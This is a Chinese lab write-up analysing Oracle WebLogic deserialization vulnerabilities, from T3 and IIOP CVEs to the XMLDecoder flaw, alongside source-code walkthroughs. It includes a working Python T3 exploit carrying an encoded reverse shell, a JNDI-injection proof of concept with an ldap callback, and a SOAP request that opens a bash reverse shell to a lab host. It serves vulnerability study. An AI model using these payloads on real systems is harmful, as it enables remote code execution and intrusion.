前言

早在四月份就想搞了,因为看到有人拿这个水洞,可是环境一直有问题就耽搁下来了,直到最近在实战中又遇到了,就又重新试试环境,结果发现docker的问题,真是绕了好大一圈,也不知道还能不能挖出来cve(照着箭心画靶子)

WebLogic 是由 Oracle 提供的一个企业级应用服务器(类似于自带各种组件的Tomcat),支持 Java EE规范。它是一款全功能的应用服务器,具备高可扩展性,高效的应用集群,负载均衡能力和复杂的企业级服务,提供了丰富的管理控制台,允许管理员通过图形界面进行服务器配置、部署、监控等

环境搭建

搭环境遇到了很多问题,什么年代了还用centos(狗头),这是我最后成功的dockerfile

1
2
3
4
5
6
7
8
9
10
11
12
13
# 基础镜像
FROM centos:8
# 参数
ARG JDK_PKG
ARG WEBLOGIC_JAR

RUN rm -f /etc/yum.repos.d/*
RUN curl -o /etc/yum.repos.d/CentOS-Base.repo http://mirrors.aliyun.com/repo/Centos-8.repo
RUN yum clean all
RUN yum makecache

# 解决libnsl包丢失的问题
RUN yum install -y libnsl

注意:还有不用了一定把docker对应的容器给关了,实在不行重启可以解决百分之80的问题

配置远程调试

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
docker run -d -p 7001:7001 -p 8453:8453 -p 5556:5556 --name weblogic1036jdk8u202 weblogic1036jdk8u202 #额外开放8453端口

docker exec -it weblogic /bin/bash #进入容器
vi /root/Oracle/Middleware/user_projects/domains/base_domain/bin/setDomainEnv.sh
#在最上方添加
debugFlag="true"
export debugFlag

quit

docker restart 容器id
docker cp weblogic:/root ./weblogic_jars #把 weblogic的源码和jdk包都拷贝出来
copy /Y "E:\user\Desktop\java\weblogic\weblogic_10.3.6\Oracle\Middleware\wlserver_10.3\sip\server\lib\wlss_i18n.jar" ".\test"
#导出jar包依赖,并在libraries下添加test目录
#在jdk这块选用weblogic10.3.6自带的jdk6
#添加远程服务器
#出现启动调试,出现已连接到目标 VM, 地址: ''192.168.58.130:8453',传输: '套接字''

QQ20241106-005345
终于成了,十分有九分的不容易

T3协议

Java RMI 的基础通信协议是 JRMP,而WebLogic T3协议是Oracle WebLogic Server中用于通信的协议之一。它基于Java语言,通过TCP/IP协议进行通信,通常使用在Java EE应用程序与WebLogic Server之间的通信中。

默认情况下,管理控制台的端口是 7001,应用是 7003,节点管理器是 5556,初次部署时需要注意让防火墙放行这三个端口。

因为第一部分会校验数据包长度,如果长度不匹配weblogic会报java.io.EOFException异常。
通过构造第一部分的非Java数据(前4个字节为数据长度)+第二部分拼接我们恶意的序列化数据,即可触发漏洞。

发送协议脚本

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
from os import popen
import struct # 负责大小端的转换
import subprocess
from sys import stdout
import socket
import re
import binascii

def generatePayload(gadget, cmd):
YSO_PATH = "/home/bmth/web/ysoserial-0.0.6-SNAPSHOT-all.jar"
popen = subprocess.Popen(['java', '-jar', YSO_PATH, gadget, cmd], stdout=subprocess.PIPE)
return popen.stdout.read()

def T3Exploit(ip, port, payload):
sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
sock.connect((ip, port))
handshake = "t3 12.2.3\nAS:255\nHL:19\nMS:10000000\n\n"
sock.sendall(handshake.encode())
data = sock.recv(1024)
data += sock.recv(1024)
compile = re.compile("HELO:(.*).0.false")
print(data.decode())
match = compile.findall(data.decode())
if match:
print("Weblogic: " + "".join(match))
else:
print("Not Weblogic")
return
header = binascii.a2b_hex(b"00000000")
t3header = binascii.a2b_hex(b"016501ffffffffffffffff000000690000ea60000000184e1cac5d00dbae7b5fb5f04d7a1678d3b7d14d11bf136d67027973720078720178720278700000000a000000030000000000000006007070707070700000000a000000030000000000000006007006")
desflag = binascii.a2b_hex(b"fe010000")
payload = header + t3header + desflag + payload
payload = struct.pack(">I", len(payload)) + payload[4:]
sock.send(payload)

if __name__ == "__main__":
ip = "192.168.111.178"
port = 7001
gadget = "CommonsCollections1"
cmd = "bash -c {echo,YmFzaCAtYyAnZXhlYyBiYXNoIC1pICY+L2Rldi90Y3AvMTkyLjE2OC4xMTEuMTc4LzY2NjYgPCYxJw==}|{base64,-d}|{bash,-i}"
payload = generatePayload(gadget, cmd)
T3Exploit(ip, port, payload)

因为发送脚本没有太大变化,下面就只分析发送的payload

T3反序列化

CVE-2015-4852

漏洞点处于wlthint3client.jar!\weblogic\rjvm\InboundMsgAbbrev.class#readObject,该方法会反序列化我们传入的payload

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
  private Object readObject(MsgAbbrevInputStream var1) throws IOException, ClassNotFoundException {
int var2 = var1.read();
switch (var2) {
case 0:
return (new ServerChannelInputStream(var1)).readObject();
case 1:
return var1.readASCII();
default:
throw new StreamCorruptedException("Unknown typecode: '" + var2 + "'");
}
......
private static class ServerChannelInputStream extends ObjectInputStream implements ServerChannelStream {
private final ServerChannel serverChannel;

private ServerChannelInputStream(MsgAbbrevInputStream var1) throws IOException {
super(var1);//super为ObjectInputstream类,及反序列化var1
this.serverChannel = var1.getServerChannel();
}

修复就是直接在ServerChannelInputStream#resolveClass里设置黑名单

resolveClass

这里直接看ObjectInputStream#resolveClass,可以看到所有类的初始化都会在resolveClass方法中进行,如果重写了该方法,就可以有效的设置黑名单,ctf中也经常遇到

1
2
3
4
5
6
7
8
9
10
11
12
13
14
protected Class<?> resolveClass(ObjectStreamClass desc)
throws IOException, ClassNotFoundException
{
String name = desc.getName();
try {
return Class.forName(name, false, latestUserDefinedLoader());
} catch (ClassNotFoundException ex) {
Class cl = (Class) primClasses.get(name);
if (cl != null) {
return cl;
} else {
throw ex;
}
}
1
2
3
4
5
6
resolveClass:680, ObjectInputStream (java.io)
readNonProxyDesc:1859, ObjectInputStream (java.io)
readClassDesc:1745, ObjectInputStream (java.io)
readOrdinaryObject:2033, ObjectInputStream (java.io)
readObject0:1567, ObjectInputStream (java.io)
readObject:427, ObjectInputStream (java.io)

CVE-2016-0638

二次反序列化的理念

那么怎么绕过resolveClass,前面说了这个黑名单限制经常在ctf中用来出题(当然我做的ctf题目肯定没这个cve早),ctf中有一种绕过方法,就是二次反序列化,最经典的莫过于原生的java.security.SignedObject#getObject()
及在一个方法中再次反序列化,只要readobject在到达该方法前没有触发黑名单,就可以绕过

Externalizable接口

Externalizable接口继承了Serializable接口,所以实现Externalizable接口也能实现序列化和反序列化。
Externalizable接口中定义了writeExternal和readExternal两个抽象方法,通过注释,可以看出这两个方法其实对应Serializable接口的writeObject和readObject方法。

readExternal 需要开发者手动处理对象的每一个字段的读取过程。它不像 Serializable 那样有默认的机制,而是需要手动指定如何从流中读取每个字段的值。

1
2
3
4
public void readExternal(ObjectInput in) throws IOException, ClassNotFoundException {//in为反序列化流
someField = in.readInt(); // 手动读取
anotherField = in.readUTF(); // 手动读取其他字段
}

在调用readObject()时,如果类实现的是Externalizable接口,则会调用readExternal方法

StreamMessageImpl#readExternal

找到了个黑名单之外的类weblogic.jms.common.StreamMessageImpl#readExternal 会readObject一部分传入的payload

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
public void readExternal(ObjectInput var1) throws IOException, ClassNotFoundException {
super.readExternal(var1);
byte var2 = var1.readByte();
byte var3 = (byte)(var2 & 127);
if (var3 >= 1 && var3 <= 3) {
switch (var3) {
case 1:
this.payload = (PayloadStream)PayloadFactoryImpl.createPayload((InputStream)var1);
BufferInputStream var4 = this.payload.getInputStream();
ObjectInputStream var5 = new ObjectInputStream(var4);
this.setBodyWritable(true);
this.setPropertiesWritable(true);

try {
while(true) {
this.writeObject(var5.readObject());//

CVE-2016-0638

这是对补丁的另一个绕过方法

readResolve

**默认方法readResolve()**是Serializable 接口的一部分。当一个对象被反序列化时,readResolve方法会在readObject之后调用

及在调用readObject()时,如果被反序列化的这个类有重写readResolve方法,则会调用

MarshalledObject#readResolve

weblogic.corba.utils.MarshalledObject#readResolve 会readObject一个参数,造成二次反序列化

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
public final class MarshalledObject implements Serializable {
private byte[] objBytes = null;
private int hash;

public MarshalledObject(Object obj) throws IOException {
if (obj == null) {
this.hash = 13;
} else {
ByteArrayOutputStream baos = new ByteArrayOutputStream();
ObjectOutputStream out = new MarshalledObjectOutputStream(baos);
out.writeObject(obj);
out.flush();
this.objBytes = baos.toByteArray(); //将传入的obj封装到objBytes中,并计算hash值
int h = 0;
for(int i = 0; i < this.objBytes.length; ++i) {
h = 31 * h + this.objBytes[i];
}
this.hash = h;
}
}
....................
public Object readResolve() throws IOException, ClassNotFoundException, ObjectStreamException {
if (this.objBytes == null) {
return null;
} else {
ByteArrayInputStream bin = new ByteArrayInputStream(this.objBytes);
ObjectInputStream in = new ObjectInputStream(bin);
Object obj = in.readObject();//反序列化
in.close();
return obj;
}
}

我们在序列化时,构造方法封装上恶意的objBytes,在反序列化readObject触发readResolve时就可以二次反序列化了

CVE-2017-3248

通过JRMP 协议达到执行任意反序列化

1
2
3
4
5
6
7
8
9
10
    ObjID id = new ObjID(new Random().nextInt()); // RMI registry
TCPEndpoint te = new TCPEndpoint(host, port);
UnicastRef ref = new UnicastRef(new LiveRef(id, te, false));
RemoteObjectInvocationHandler obj = new RemoteObjectInvocationHandler(ref);

Registry proxy = (Registry) Proxy.newProxyInstance(BypassPayloadSelector.class.getClassLoader(), new Class[]{
Registry.class
}, obj);//利用java.rmi.registry.Registry,序列化RemoteObjectInvocationHandler
return proxy;
}

反序列化分析

在proxy的反序列化的过程中会实例化对应的InvocationHandler,于是就调用了InvocationHandler的readObject方法 (不知道为什么非要套一层proxy,我本地试的是可以直接反序列化的)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
//RemoteObjectInvocationHandler没有readobject调用的是它的父类RemoteObject
public abstract class RemoteObject implements Remote, java.io.Serializable {
................
private void readObject(java.io.ObjectInputStream in)
throws java.io.IOException, java.lang.ClassNotFoundException
{
....................................
ref.readExternal(in);
}
....................................
//UnicastRef
public void readExternal(ObjectInput var1) throws IOException, ClassNotFoundException {
this.ref = LiveRef.read(var1, false);
}

public static LiveRef read(ObjectInput var0, boolean var1) throws IOException, ClassNotFoundException {
TCPEndpoint var2;
if (var1) {
var2 = TCPEndpoint.read(var0);
} else {
var2 = TCPEndpoint.readHostPortFormat(var0);
}

ObjID var3 = ObjID.read(var0);
boolean var4 = var0.readBoolean();
LiveRef var5 = new LiveRef(var3, var2, false);
if (var0 instanceof ConnectionInputStream) {
ConnectionInputStream var6 = (ConnectionInputStream)var0;
var6.saveRef(var5);
if (var4) {
var6.setAckNeeded();
}
} else {
DGCClient.registerRefs(var2, Arrays.asList(var5));
}
.................................................
static void registerRefs(Endpoint var0, List<LiveRef> var1) {
EndpointEntry var2;
do {
var2 = DGCClient.EndpointEntry.lookup(var0);
} while(!var2.registerRefs(var1));
}
其他绕过

也可以直接反序列化UnicastRef对象

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
public Registry getObject(final String command) throws Exception {
String host;
int port;
int sep = command.indexOf(':');
if (sep < 0) {
port = new Random().nextInt(65535);
host = command;
} else {
host = command.substring(0, sep);
port = Integer.valueOf(command.substring(sep + 1));
}
ObjID id = new ObjID(new Random().nextInt()); // RMI registry
TCPEndpoint te = new TCPEndpoint(host, port);
UnicastRef ref = new UnicastRef(new LiveRef(id, te, false));
return ref;

也可以寻找RemoteObject的其他子类(反正调的是父类RemoteObject的readobject),如ReferenceWrapper_Stub

CVE-2020-2555

CVE-2020-2555 BadAttributeValueExpException+LimitFilter.toString()引起的任意方法调用
CVE-2020-2883 上面链子compare方法也能触发,改用PriorityQueue调用compare方法

RMI-IIOP

RMI-IIOP 是 RMI 的一个扩展,使得 Java 程序可以与使用 CORBA(Common Object Request Broker Architecture)标准的其他语言编写的程序进行互操作。通过 IIOP 协议进行远程调用
Weblogic IIOP协议默认开启,跟T3协议一起监听在7001或其他端口。

基本使用

1
2
3
4
5
6
7
8
9
10
11
// 创建远程对象
MyRemoteObject remoteObject = new MyRemoteObject();
// 获取上下文
Hashtable env = new Hashtable();
env.put(Context.INITIAL_CONTEXT_FACTORY, "weblogic.jndi.WLInitialContextFactory");
env.put(Context.PROVIDER_URL, "iiop://172.16.1.128:7001"); //
Context ctx = new InitialContext(env);
// 绑定对象到JNDI
ctx.rebind("myRemoteObject", remoteObject);
// 远程查找对象
MyRemoteObject remoteObj = (MyRemoteObject) ctx.lookup("myRemoteObject");

IIOP反序列化漏洞

可以看出在使用上RMI-IIOP和rmi没有太大的区别,那么RMI攻击注册端的思路是不是也可以使用

CVE-2020-2551

bind操作的时候会将被绑定的对象进行序列化并发送到IIOP服务端,在服务端进行反序列化

在XXL-JOB我们分析过org/springframework/jndi/JndiTemplate#lookup是存在lookup利用点的,weblogic同样存在spring frame,所以可以利用JtaTransactionManager反序列化进行jndi

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
public class JtaTransactionManager extends AbstractPlatformTransactionManager implements TransactionFactory, InitializingBean, Serializable {
.........................................................
private void readObject(ObjectInputStream ois) throws IOException, ClassNotFoundException {
ois.defaultReadObject();
this.jndiTemplate = new JndiTemplate();
this.initUserTransactionAndTransactionManager();
this.initTransactionSynchronizationRegistry();
}
.........................................................
protected void initUserTransactionAndTransactionManager() throws TransactionSystemException {
if (this.userTransaction == null) {
if (StringUtils.hasLength(this.userTransactionName)) {
this.userTransaction = this.lookupUserTransaction(this.userTransactionName);
this.userTransactionObtainedFromJndi = true;
} else {
this.userTransaction = this.retrieveUserTransaction();
}
}
.........................................................
protected UserTransaction lookupUserTransaction(String userTransactionName) throws TransactionSystemException {
try {
if (this.logger.isDebugEnabled()) {
this.logger.debug("Retrieving JTA UserTransaction from JNDI location [" + userTransactionName + "]");
}

return (UserTransaction)this.getJndiTemplate().lookup(userTransactionName, UserTransaction.class); //getJndiTemplate获取JndiTemplate类
}

POC网络问题

一开始我怎么也抓不到调试,找了好久找到了这篇文章https://xz.aliyun.com/t/7498?time__1311=n4%2BxnD0Dy7GQ3AKee05%2BbWGOiGC7e8e%3Dw74D,才知道Weblogic直接使用本地ip地址作为bind地址,所以该poc只能在内网或者双方都有出网ip的网络,NAT 网络访问不到,而我搭建的Weblogic的docker在虚拟机里,为了方便poc没打包直接本地运行,所以访问错误

网上的方法是修改weblogic\iiop\IOPProfile.class,写死ip,重新打包
也可以利用类的解析顺序,在当前项目创造一个一模一样的类路径修改,read方法即可

CVE-2023-21839

。weblogic.deployment.jms.ForeignOpaqueReference继承自OpaqueReference并且实现了getReferent方法,并且存在retVal = context.lookup(this.remoteJNDIName)实现,故可以通过rmi/ldap远程协议进行远程命令执行。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
String JNDI_FACTORY = "weblogic.jndi.WLInitialContextFactory";

// 创建用来远程绑定对象的InitialContext
String url = "t3://192.168.58.130:7001"; // 目标机器
Hashtable env1 = new Hashtable();
env1.put(Context.INITIAL_CONTEXT_FACTORY, JNDI_FACTORY);
env1.put(Context.PROVIDER_URL, url); // 目标
InitialContext c = new InitialContext(env1);


// java.naming.factory.initial指定了 JNDI 初始上下文的工厂类
Hashtable env2 = new Hashtable();
env2.put(Context.INITIAL_CONTEXT_FACTORY, "com.sun.jndi.rmi.registry.RegistryContextFactory");//RegistryContextFactory 用于从 RMI 注册表中获取资源或对象

// ForeignOpaqueReference的jndiEnvironment和remoteJNDIName属性
ForeignOpaqueReference f = new ForeignOpaqueReference();
Field jndiEnvironment = ForeignOpaqueReference.class.getDeclaredField("jndiEnvironment");
jndiEnvironment.setAccessible(true);
jndiEnvironment.set(f, env2);//通过反射添加jndiEnvironment
Field remoteJNDIName = ForeignOpaqueReference.class.getDeclaredField("remoteJNDIName");
remoteJNDIName.setAccessible(true);
String ldap = "ldap://k3f1jk.dnslog.cn/Basic/Command/calc";
remoteJNDIName.set(f, ldap);

// 远程绑定ForeignOpaqueReference对象
c.rebind("sectest", f);
// lookup查询ForeignOpaqueReference对象
try {
c.lookup("sectest");
} catch (Exception e) {
}

lookup查看远程对象,触发getObjectInstance函数

1
2
3
4
getObjectInstance:96, WLNamingManager (weblogic.jndi.internal)
resolveObject:377, ServerNamingNode (weblogic.jndi.internal)
resolveObject:856, BasicNamingNode (weblogic.jndi.internal)
lookup:209, BasicNamingNode (weblogic.jndi.internal)
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
package weblogic.jndi.internal;
public final class WLNamingManager {
public static Object getObjectInstance(Object var0, Name var1, Context var2, Hashtable var3) throws NamingException {
if (var0 instanceof OpaqueReference) {//当远程对象继承自OpaqueReference时,服务端会调用远程对象的getReferent方法
var0 = ((OpaqueReference)var0).getReferent(var1, var2);
}
..........................................

package weblogic.deployment.jms;
public class ForeignOpaqueReference implements ForeignOpaqueTag, OpaqueReference, Serializable {
private static String AQJMS_QPREFIX = "Queues/";
private static String AQJMS_TPREFIX = "Topics/";
private Hashtable jndiEnvironment;
private String remoteJNDIName;
AbstractSubject var3 = SubjectManager.getSubjectManager().getCurrentSubject(KERNEL_ID);
InitialContext var4;
if (this.jndiEnvironment == null) {
var4 = new InitialContext();
} else {
if (this.jndiEnvironment.get("java.naming.factory.initial") == null) {
this.jndiEnvironment.put("java.naming.factory.initial", "weblogic.jndi.WLInitialContextFactory");//不同的JNDI上下文的工厂类可以解析不同的协议
}

var4 = new InitialContext(this.jndiEnvironment);
}
.........................................
Object var5;
try {
if (this.jndiEnvironment == null || !AQJMS_ICF.equals(this.jndiEnvironment.get("java.naming.factory.initial")) || this.remoteJNDIName == null || !this.remoteJNDIName.startsWith(AQJMS_QPREFIX) && !this.remoteJNDIName.startsWith(AQJMS_TPREFIX)) {
var5 = var4.lookup(this.remoteJNDIName);
}else {
synchronized(this) {
if (this.cachedReferent == null) {
this.cachedReferent = var4.lookup(this.remoteJNDIName);
}
}

感觉不是很难

后续绕过CVE-2024-20931
补丁是检测了remoteJNDIName必须以java开头
但是还能到 var4 = new InitialContext(this.jndiEnvironment);,而在在oracle.jms.AQjmsInitialContextFactory进行初始化会调用lookup

后续

本来是奔的挖cve来的,但是不知道为什么自己的tabby分析多个jar包一直找不到类,也没个报错,再加上连着几天搞weblogic自己有点乏了,src挖到的目标也没开IIOP,先放放吧

XMLDecoder反序列化

漏洞引发的原因是Weblogic wls-wsat组件在反序列化操作时使用了Oracle官方的JDK组件中XMLDecoder类进行XML反序列化操作引发了代码执行。也就说XMLDecoder类在解析XML文件的时候出现了反序列化问题

CVE-2017-3506

存在问题的路由

1
2
3
4
5
6
7
8
/wls-wsat/CoordinatorPortType
/wls-wsat/CoordinatorPortType11
/wls-wsat/ParticipantPortType
/wls-wsat/ParticipantPortType11
/wls-wsat/RegistrationPortTypeRPC
/wls-wsat/RegistrationPortTypeRPC11
/wls-wsat/RegistrationRequesterPortType
/wls-wsat/RegistrationRequesterPortType11

XMLDecoder反序列化

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
POST /wls-wsat/ParticipantPortType HTTP/1.1
Host: 192.168.58.130:7001
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:133.0) Gecko/20100101 Firefox/133.0
Content-Type: text/xml
Content-Length: 5128

<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/">
<soapenv:Header>
<work:WorkContext xmlns:work="http://bea.com/2004/06/soap/workarea/">
<java>
<object class="java.lang.ProcessBuilder">
<array class="java.lang.String" length="3">
<void index="0">
<string>/bin/bash</string>
</void>
<void index="1">
<string>-c</string>
</void>
<void index="2">
<string>bash -i >& /dev/tcp/192.168.111.178/6666 0>&1</string>
</void>
</array>
<void method="start"/>
</object>
</java>
</work:WorkContext>
</soapenv:Header>
<soapenv:Body/>
</soapenv:Envelope>